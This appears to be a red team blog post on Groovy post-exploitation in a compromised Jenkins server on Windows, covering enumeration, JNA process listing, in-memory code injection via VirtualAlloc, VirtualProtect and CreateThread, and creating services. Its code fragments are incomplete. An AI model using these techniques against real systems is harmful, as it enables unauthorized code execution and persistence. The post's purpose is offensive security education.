Offensive Groovy programming
Offensive Groovy programming
trustedsec.com/blog/offensively-groovy
On a recent red team engagement, I was able to compromise the Jenkins admin user via
retrieving the necessary components and decrypting credentials.xml. From here, I wanted to
investigate Groovy, as it’s something I’ve never really used—this blog covers a bunch of
post-exploitation tasks in Groovy.
1.1 Install
In my case, Jenkins was operating on Windows, which led me down some interesting rabbit
holes that we will see soon. But, at first glance, it was running as the machine account. After
installing Jenkins, it became apparent as to why this was.
1.2 Post-Exploitation
Groovy has a lot of room to work with and is designed for all sorts of automation. Let’s take a
look through some examples of host enumeration.
1/11
This information is easily obtained by the java.net.InetAdressclass and the system property
user.name.
import java.net.InetAddress
1.2.2 Directories
Listing directories is just as simple. Using the File class, we can simply loop over each object
and check if it’s a file or a directory.
2/11
def directoryPath = "c:\\"
def directory = new File(directoryPath)
Another simple one is reading files—using the same File class as before, we can get the text
and print it to the screen.
3/11
1.2.4 Miscellaneous and Etcetera
The possibilities are endless. During this session, I was able to implement the following
functions to further the operation:
4/11
We are going to step through each chunk of some code I wrote to get an idea for what’s
going on.
1.3.1 Imports
Similar to how most languages begin, we start with some imports, which do exactly that—
import functionality.
import com.sun.jna.Native
import com.sun.jna.Pointer
import com.sun.jna.ptr.IntByReference
import com.sun.jna.Library
These imports enable interaction with native Windows APIs via JNA:
1. Native: provides ways to load and map Java methods to native libraries like Psapi and
Kernel32
2. Pointer: represents native memory pointers; used for process handles and memory
management
3. IntByReference: allows passing and modifying integers by reference in native code,
e.g., process enumeration results
4. Library: the base interface that Java interfaces must extend to map native methods
This is what gives us the interop with the native system: https://java-native-
access.github.io/jna/4.2.1/overview-summary.html
With the functionality imported, the next thing is to define an interface that mimics pinvoke for
dotnet. We define an interface that extends the imported Library class and define an
INSTANCE, which will be the object returned by Native.load. As we see later on,
Native.load is how the DLLs are loaded, similar to require with nodeJS.
Psapi Interface: represents the Psapi library from the Windows API; used for
managing and retrieving process information
Psapi INSTANCE: a singleton instance of the Psapi interface, loaded via JNA's
Native.load() method; allows access to the native library's functions
5/11
Within this interface, we define two (2) functions:
EnumProcesses
GetModuleFileNameExW
With that done, it’s now quite simple to use the function. Here is an example of implementing
the logic to list processes via EnumProcesses:
List<Integer> getProcessIds() {
final int PROCESS_ID_ARRAY_SIZE = 1024
int[] processIds = new int[PROCESS_ID_ARRAY_SIZE]
IntByReference pcbNeeded = new IntByReference()
if (!success) {
throw new RuntimeException("Failed to enumerate processes")
}
I won’t put the whole Groovy script here (it will be in the repo)—but this is the output:
6/11
1.4 Code Execution
With JNA covered, expanding this into code execution is quite straightforward. Let’s
implement the most common injection type:
VirtualAlloc
7/11
Write
VirtualProtect
CreateThread
WaitForSingleObject
For those of you who’ve written code injection, you may have an inkling of what will happen
with the last function…
8/11
Pointer lpAddress = Kernel32.INSTANCE.VirtualAlloc(
null,
fileBytes.length,
Constants.MEM_COMMIT | Constants.MEM_RESERVE,
Constants.PAGE_READWRITE
)
if (lpAddress == null) {
throw new RuntimeException("Failed to allocate memory. Error: " +
Kernel32.INSTANCE.GetLastError())
}
if (!Kernel32.INSTANCE.VirtualProtect(lpAddress, fileBytes.length,
Constants.PAGE_EXECUTE_READ, lpflOldProtect)) {
throw new RuntimeException("Failed to change memory protection. Error: " +
Kernel32.INSTANCE.GetLastError())
}
if (hThread == null) {
throw new RuntimeException("Failed to create thread. Error: " +
Kernel32.INSTANCE.GetLastError())
}
When this code runs, Jenkins locks up. This is because we are waiting for the thread to
finish, which takes forever. To fix it, simply add the entire logic into a separate function.
9/11
Thread thread = new Thread(){
public void run(){
Go();
}
}
thread.start();
int entrypoint ()
}
try {
int result = CustomLibrary.INSTANCE.entrypoint()
println "CustomFunction result: $result"
} catch (Exception e) {
println "Error: ${e.message}"
}
1.4.2 Service
Another example I put together and used on this operation was to create a service, as this
was executing under the machine account. Using the WinAPI and JNA, it was quite
straightforward to put it together.
10/11
Pointer createService(Pointer hSCManager, String serviceName, String displayName,
String binaryPath) {
Pointer hService = Advapi32.INSTANCE.CreateServiceA(
hSCManager,
serviceName,
displayName,
(int) Constants.SERVICE_ALL_ACCESS,
Constants.SERVICE_WIN32_OWN_PROCESS,
Constants.SERVICE_DEMAND_START,
Constants.SERVICE_ERROR_NORMAL,
binaryPath,
null,
null,
null,
null,
null
)
if (hService == null) {
throw new RuntimeException("Failed to create service. Error: " +
Kernel32.INSTANCE.GetLastError())
}
return hService
}
1.5 Conclusion
Groovy has access to a lot of functionality, some of which can be quite powerful. Next time
you’re enumerating a network and find a /script endpoint unauthenticated, go get a shell. The
code snippets can be found here: https://github.com/mez-0/offensive-groovy
1.6 References
11/11